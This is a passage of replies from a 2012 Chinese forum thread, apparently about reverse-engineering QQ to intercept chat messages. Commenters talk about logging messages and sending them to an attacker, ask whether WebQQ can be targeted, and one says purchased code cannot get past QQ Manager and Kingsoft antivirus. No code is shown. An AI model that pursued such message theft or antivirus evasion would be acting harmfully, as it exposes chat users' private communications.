这回复 一个个call调用,我跟了好几层才找到关键函数。唉。。。分析一下还是有用的嘛 背地里记下来 再发出给攻击者额。。。
2012-6-14 13:02
0
雪    币: 30
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
能得到消息太危险了。。如果发出去的话。。。那WEBQQ有办法弄到不?
2012-6-14 13:06
0
雪    币: 53
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
发了这么多图,工程却没发上来
2012-6-14 13:18
0
雪    币: 26
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
23
已经购买了代码,但是代码怎么绕不过QQ管家和金山毒霸呢
2012-6-14 13:30
0
雪    币: 342
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
Mark过一会来看
2012-6-14 14:31
0
雪    币: 31
活跃值: (28)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
25
膜拜一下,一表小小惊异
2012-6-14 15:04
0
游客
登录 | 注册 方可回帖
返回
//